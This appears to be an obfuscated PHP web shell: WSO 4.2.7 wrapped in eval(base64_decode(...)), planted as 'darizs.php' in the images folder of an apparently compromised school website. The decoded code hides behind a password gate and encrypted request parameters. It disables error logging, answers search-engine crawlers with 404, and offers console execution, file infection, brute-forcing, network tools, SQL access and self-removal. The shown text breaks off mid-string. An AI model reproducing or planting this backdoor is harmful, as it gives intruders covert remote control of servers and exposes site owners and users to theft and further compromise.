Current Path : /home/bitrix/ext_www/school1535.yacl.site/assets/images/ |
Current File : /home/bitrix/ext_www/school1535.yacl.site/assets/images/darizs.php |
<?php /*ne*/eval(/*sKaWYgKCFpc3*/base64_decode('JOKWmyA9ICI1Yzk1OTM0ZTNiN2IxY2M1MmUxM2Q4OGFhOGY5ZDlhMCI7CiTilpggPSB0cnVlOwok 4pacID0gJ1VURi04JzsKJOKWmiA9ICdGaWxlc01hbic7CiTilpkgPSBtZDUoJF9TRVJWRVJbJ0hU VFBfVVNFUl9BR0VOVCddKTsKaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBf SE9TVCddKS4ia2V5Il0pKSB7Cglwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku ImtleSIsICTilpkpOwp9CmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKCSRfUE9TVFsnY2hh cnNldCddID0gJOKWnDsKaWYgKCFpc3NldCgkX1BPU1RbJ25lJ10pKSB7CglpZihpc3NldCgkX1BP U1RbJ2EnXSkpICRfUE9TVFsnYSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10s IGRlY3J5cHQoJF9QT1NUWydhJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku ImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ2MnXSkpICRfUE9TVFsnYyddID0gaWNvbnYoInV0 Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydjJ10sJF9DT09LSUVbbWQ1 KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ3AxJ10p KSAkX1BPU1RbJ3AxJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlw dCgkX1BPU1RbJ3AxJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJd KSk7CglpZihpc3NldCgkX1BPU1RbJ3AyJ10pKSAkX1BPU1RbJ3AyJ10gPSBpY29udigidXRmLTgi LCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ3AyJ10sJF9DT09LSUVbbWQ1KCRf U0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ3AzJ10pKSAk X1BPU1RbJ3AzJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgk X1BPU1RbJ3AzJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7 Cn0KZnVuY3Rpb24gZGVjcnlwdCgkc3RyLCRwd2QpeyRwd2Q9YmFzZTY0X2VuY29kZSgkcHdkKTsk c3RyPWJhc2U2NF9kZWNvZGUoJHN0cik7JGVuY19jaHI9IiI7JGVuY19zdHI9IiI7JGk9MDt3aGls ZSgkaTxzdHJsZW4oJHN0cikpe2Zvcigkaj0wOyRqPHN0cmxlbigkcHdkKTskaisrKXskZW5jX2No cj1jaHIob3JkKCRzdHJbJGldKV5vcmQoJHB3ZFskal0pKTskZW5jX3N0ci49JGVuY19jaHI7JGkr KztpZigkaT49c3RybGVuKCRzdHIpKWJyZWFrO319cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGVuY19z dHIpO30KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJyww KTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsK aWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CglAc2V0X21h Z2ljX3F1b3Rlc19ydW50aW1lKDApOwp9CkBkZWZpbmUoJ1ZFUlNJT04nLCAnNC4yLjcnKTsKaWYo IWVtcHR5KCTilpspKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BP U1RbJ3Bhc3MnXSkgPT0gJOKWmykpCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRU UF9IT1NUJ10pLCAk4pabKTsKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydI VFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9 ICTilpspKQogICAgICAgIGhhcmRMb2dpbigpOwp9CmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9T RVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVS WydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJOKWmDsKCmZ1bmN0aW9uIGhhcmRMb2dp bigpIHsKCQlpZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewoJCSAgJHVz ZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZl ciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwoJCSAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2Rl KCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkg ewoJCSAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CgkJICBleGl0OwoJCSAgfQoJ CX0KCWRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ8YnI+ PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOndo aXRlc21va2U7Ym9yZGVyOjFweCBzb2xpZCAjRkZGO291dGxpbmU6bm9uZTsnIHJlcXVpcmVkPjxp bnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSd3YXRjaGluZycgdmFsdWU9J3N1Ym1pdCcgc3R5bGU9J2Jv cmRlcjpub25lO2JhY2tncm91bmQtY29sb3I6IzU2QUQxNTtjb2xvcjojZmZmO2N1cnNvcjpwb2lu dGVyOyc+PC9mb3JtPjwvcHJlPiIpOwp9CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMp KSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKJHNhZmVfbW9kZSA9 IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoISRzYWZlX21vZGUpCiAgICBlcnJvcl9yZXBvcnRp bmcoMCk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycp OwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKGlzc2V0KCRfUE9TVFsnYyddKSkKCUBjaGRpcigk X1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCRvcyA9PSAnd2luJykgewoJJGhvbWVf Y3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBs YWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKQoJ JGN3ZCAuPSAnLyc7CgpmdW5jdGlvbiBoYXJkSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydj aGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ+KWnCddOwoJZWNobyAi PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0 L2h0bWw7IGNoYXJzZXQ9IiAuICRfUE9TVFsnY2hhcnNldCddIC4gIic+PHRpdGxlPiIgLiAkX1NF UlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBWRVJTSU9OIC4iPC90aXRsZT4KPHN0eWxl PgoJYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDYwQTEwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46 MDsgZm9udDpub3JtYWwgNzUlIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7IH0gY2FudmFz eyBkaXNwbGF5OiBibG9jazsgdmVydGljYWwtYWxpZ246IGJvdHRvbTt9Cglib2R5LHRkLHRoCXtm b250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJn aW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQoJdGFibGUuaW5mbwl7Y29sb3I6I0MzQzNDMztiYWNr Z3JvdW5kLWNvbG9yOiAjMDYwQTEwO30KCXRhYmxlI3Rvb2xzVGJsIHtiYWNrZ3JvdW5kLWNvbG9y OiAjMDYwQTEwO30KCXNwYW4saDEsYQl7Y29sb3I6I2ZmZiAhaW1wb3J0YW50O30KCXNwYW4JCXtm b250LXdlaWdodDpib2xkZXI7fQoJaDEJCQl7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICMyRTZFOUM7 cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzEwMTUx YzttYXJnaW46MHB4O30KCWRpdi5jb250ZW50CXtwYWRkaW5nOjVweDttYXJnaW4tbGVmdDo1cHg7 YmFja2dyb3VuZC1jb2xvcjojMDYwYTEwO30KCWEJCQl7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJ YTpob3ZlcgkJe3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQoJLnRvb2x0aXA6OmFmdGVyIHti YWNrZ3JvdW5kOiMwNjYzRDU7Y29sb3I6I0ZGRjtjb250ZW50OiBhdHRyKGRhdGEtdG9vbHRpcCk7 bWFyZ2luLXRvcDotNTBweDtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6NnB4IDEwcHg7cG9zaXRpb246 YWJzb2x1dGU7dmlzaWJpbGl0eTpoaWRkZW47fQoJLnRvb2x0aXA6aG92ZXI6OmFmdGVyIHtvcGFj aXR5OjE7dmlzaWJpbGl0eTp2aXNpYmxlO30KCS5tbDEJCXtib3JkZXI6MXB4IHNvbGlkICMxZTI1 MmY7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6YXV0bzt9CgkuYmlnYXJlYQl7bWluLXdp ZHRoOjEwMCU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30KCWlucHV0LCB0ZXh0YXJlYSwg c2VsZWN0CXttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzFlMjUyZjtib3Jk ZXI6bm9uZTtmb250OjlwdCBDb3VyaWVyIE5ldztvdXRsaW5lOm5vbmU7fQoJbGFiZWwge3Bvc2l0 aW9uOnJlbGF0aXZlfQoJbGFiZWw6YWZ0ZXIge2NvbnRlbnQ6Jzw+Jztmb250OjEwcHggJ0NvbnNv bGFzJywgbW9ub3NwYWNlO2NvbG9yOiNmZmY7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlKDkwZGVn KTstbW96LXRyYW5zZm9ybTpyb3RhdGUoOTBkZWcpOy1tcy10cmFuc2Zvcm06cm90YXRlKDkwZGVn KTt0cmFuc2Zvcm06cm90YXRlKDkwZGVnKTtyaWdodDozcHg7IHRvcDozcHg7cGFkZGluZzowO3Bv c2l0aW9uOmFic29sdXRlO3BvaW50ZXItZXZlbnRzOm5vbmU7fQoJbGFiZWw6YmVmb3JlIHtjb250 ZW50OicnO3JpZ2h0OjA7IHRvcDowO3dpZHRoOjE3cHg7IGhlaWdodDoxN3B4O2JhY2tncm91bmQ6 IzFlMjUyZjtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2Rpc3BsYXk6Ymxv Y2s7fQoJZm9ybQkJe21hcmdpbjowcHg7fQoJI3Rvb2xzVGJsCXt0ZXh0LWFsaWduOmNlbnRlcjt9 CgkjZmFrIAkJe2JhY2tncm91bmQ6bm9uZTt9CgkjZmFrIHRkIAl7cGFkZGluZzo1cHggMCAwIDA7 fQoJaWZyYW1lCQl7Ym9yZGVyOjFweCBzb2xpZCAjMDYwYTEwO30KCS50b29sc0lucAl7d2lkdGg6 MzAwcHh9CgkubWFpbiB0aAl7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzA2MGEx MDt9CgkubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMzNTQyNTI7fQoJLm1haW4gdGQs IHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9CglpbnB1dFt0eXBlPSdzdWJtaXQnXXtiYWNrZ3Jv dW5kLWNvbG9yOiMyRTZFOUM7fQoJaW5wdXRbdHlwZT0nYnV0dG9uJ117YmFja2dyb3VuZC1jb2xv cjojMkU2RTlDO30KCWlucHV0W3R5cGU9J3N1Ym1pdCddOmhvdmVye2JhY2tncm91bmQtY29sb3I6 IzU2QUQxNTt9CglpbnB1dFt0eXBlPSdidXR0b24nXTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1 NkFEMTU7fQoJLmwxCQkJe2JhY2tncm91bmQtY29sb3I6IzFlMjUyZjt9CglwcmUJCQl7Zm9udDo5 cHQgQ291cmllciBOZXc7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1s c3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRt bHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBo dG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICci IC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNo YXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChz dHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRf UE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3Mo QCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn cDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCQoJZnVuY3Rpb24g ZW5jcnlwdChzdHIscHdkKXtpZihwd2Q9PW51bGx8fHB3ZC5sZW5ndGg8PTApe3JldHVybiBudWxs O31zdHI9YmFzZTY0X2VuY29kZShzdHIpO3B3ZD1iYXNlNjRfZW5jb2RlKHB3ZCk7dmFyIGVuY19j aHI9Jyc7dmFyIGVuY19zdHI9Jyc7dmFyIGk9MDt3aGlsZShpPHN0ci5sZW5ndGgpe2Zvcih2YXIg aj0wO2o8cHdkLmxlbmd0aDtqKyspe2VuY19jaHI9c3RyLmNoYXJDb2RlQXQoaSlecHdkLmNoYXJD b2RlQXQoaik7ZW5jX3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZShlbmNfY2hyKTtpKys7aWYoaT49 c3RyLmxlbmd0aClicmVhazt9fXJldHVybiBiYXNlNjRfZW5jb2RlKGVuY19zdHIpO30KCWZ1bmN0 aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIg dXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5n Lmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2Rl QXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE+MTI3JiZjMTwy MDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE+PjYpfDE5MikrU3RyaW5nLmZyb21DaGFy Q29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8 MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE+PjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hh ckNvZGUoKGMxJjYzKXwxMjgpO31pZihlbmMhPT1udWxsKXtpZihlbmQ+c3RhcnQpe3V0ZnRleHQr PXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlm KGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4g dXRmdGV4dDt9CglmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKGRhdGEpe3ZhciBiNjQgPSAnQUJDREVG R0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkr Lz0nO3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGk9MCxhYz0wLGVuYz0nJyx0bXBfYXJy PVtdO2lmICghZGF0YSl7cmV0dXJuIGRhdGE7fWRhdGE9dXRmOF9lbmNvZGUoZGF0YSsnJyk7ZG97 bzE9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzI9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzM9ZGF0YS5j aGFyQ29kZUF0KGkrKyk7Yml0cz1vMTw8MTZ8bzI8PDh8bzM7aDE9Yml0cz4+MTgmMHgzZjtoMj1i aXRzPj4xMiYweDNmO2gzPWJpdHM+PjYmMHgzZjtoND1iaXRzJjB4M2Y7dG1wX2FyclthYysrXT1i NjQuY2hhckF0KGgxKStiNjQuY2hhckF0KGgyKStiNjQuY2hhckF0KGgzKStiNjQuY2hhckF0KGg0 KTt9d2hpbGUoaTxkYXRhLmxlbmd0aCk7ZW5jPXRtcF9hcnIuam9pbignJyk7c3dpdGNoIChkYXRh Lmxlbmd0aCUzKXtjYXNlIDE6ZW5jPWVuYy5zbGljZSgwLC0yKSsnPT0nO2JyZWFrO2Nhc2UgMjpl bmM9ZW5jLnNsaWNlKDAsLTEpKyc9JzticmVhazt9cmV0dXJuIGVuYzt9CglmdW5jdGlvbiBzZXQo YSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2Ug ZC5tZi5hLnZhbHVlPWFfOwoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMu dmFsdWU9Y187CgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFs dWU9cDFfOwoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVl PXAyXzsKCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1w M187CgkJZC5tZi5hLnZhbHVlID0gZW5jcnlwdChkLm1mLmEudmFsdWUsJyIuJF9DT09LSUVbbWQ1 KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlkLm1mLmMudmFsdWUgPSBlbmNy eXB0KGQubWYuYy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4i a2V5Il0uIicpOwoJCWQubWYucDEudmFsdWUgPSBlbmNyeXB0KGQubWYucDEudmFsdWUsJyIuJF9D T09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlkLm1mLnAyLnZh bHVlID0gZW5jcnlwdChkLm1mLnAyLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRU UF9IT1NUJ10pLiJrZXkiXS4iJyk7CgkJZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52 YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOwoJ CWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNo YXJzZXQudmFsdWU9Y2hhcnNldF87Cgl9CglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0 KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQlkLm1mLnN1Ym1pdCgpOwoJfQoJZnVu Y3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNl dCk7CgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOwoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRz Lmxlbmd0aDtpKyspCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9Jytl bmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CgkJc3IoJyIgLiBhZGRz bGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7Cgl9CglmdW5jdGlv biBzcih1cmwsIHBhcmFtcykgewoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpCgkJCXJlcSA9 IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwoJCWVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQoJ CQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsKICAgICAgICBp ZiAocmVxKSB7CiAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVx Q2hhbmdlOwogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7CiAgICAgICAg ICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gt d3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAg ICAgIH0KCX0KCWZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7CgkJaWYoIChyZXEucmVhZHlT dGF0ZSA9PSA0KSApCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CgkJCQl2YXIgcmVnID0gbmV3 IFJlZ0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7CgkJCQl2YXIgYXJyPXJl Zy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsx XSkpOwoJCQl9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7Cgl9Cjwvc2NyaXB0Pgo8aGVh ZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOnJn YmEoOTUsIDExMCwgMTMwLCAwLjMpO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1l dGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRk ZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBu YW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVl U3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBA ZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxT cGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVs ID0gQHBocF91bmFtZSgncycpOwoJJGV4cGxpbmsgPSAnaHR0cDovL25vcmVmZXJlci5kZS8/aHR0 cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZGVzY3JpcHRpb249 JzsKCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0g dXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UK CQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSww LDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0g QGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRt eWdpZCgpOwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3Vp ZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRl Z2lkKCkpOwoJCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJCSR1aWQgPSAkdWlkWyd1aWQnXTsKCQkk Z3JvdXAgPSAkZ2lkWyduYW1lJ107CgkJJGdpZCA9ICRnaWRbJ2dpZCddOwoJfQoJJGN3ZF9saW5r cyA9ICcnOwoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKCSRuPWNvdW50 KCRwYXRoKTsKCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7CgkJJGN3ZF9saW5rcyAuPSAiPGEg aHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwoJCWZvcigkaj0wOyAkajw9JGk7 ICRqKyspCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKCQkkY3dkX2xpbmtzIC49ICJc IiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAn V2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNl dHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICTilp8pCgkJJG9wdF9jaGFyc2V0cyAuPSAn PG9wdGlvbiB2YWx1ZT0iJy4k4pafLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0k4pafPydzZWxl Y3RlZCc6JycpLic+Jy4k4pafLic8L29wdGlvbj4nOwoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+ J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ0luZmVj dCc9PidJbmZlY3QnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZl TW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVm b3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOwoJaWYoIWVtcHR5KCRHTE9CQUxTWyfilpsnXSkp CgkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1v dmUnOwoJJG1lbnUgPSAnJzsKCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCgkJJG1lbnUgLj0gJzx0 aD5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wn KSI+Jy4kay4nPC9hPiBdPC90aD4nOwoJJGRyaXZlcyA9ICIiOwoJaWYgKCRHTE9CQUxTWydvcydd ID09ICd3aW4nKSB7CgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYgKGlz 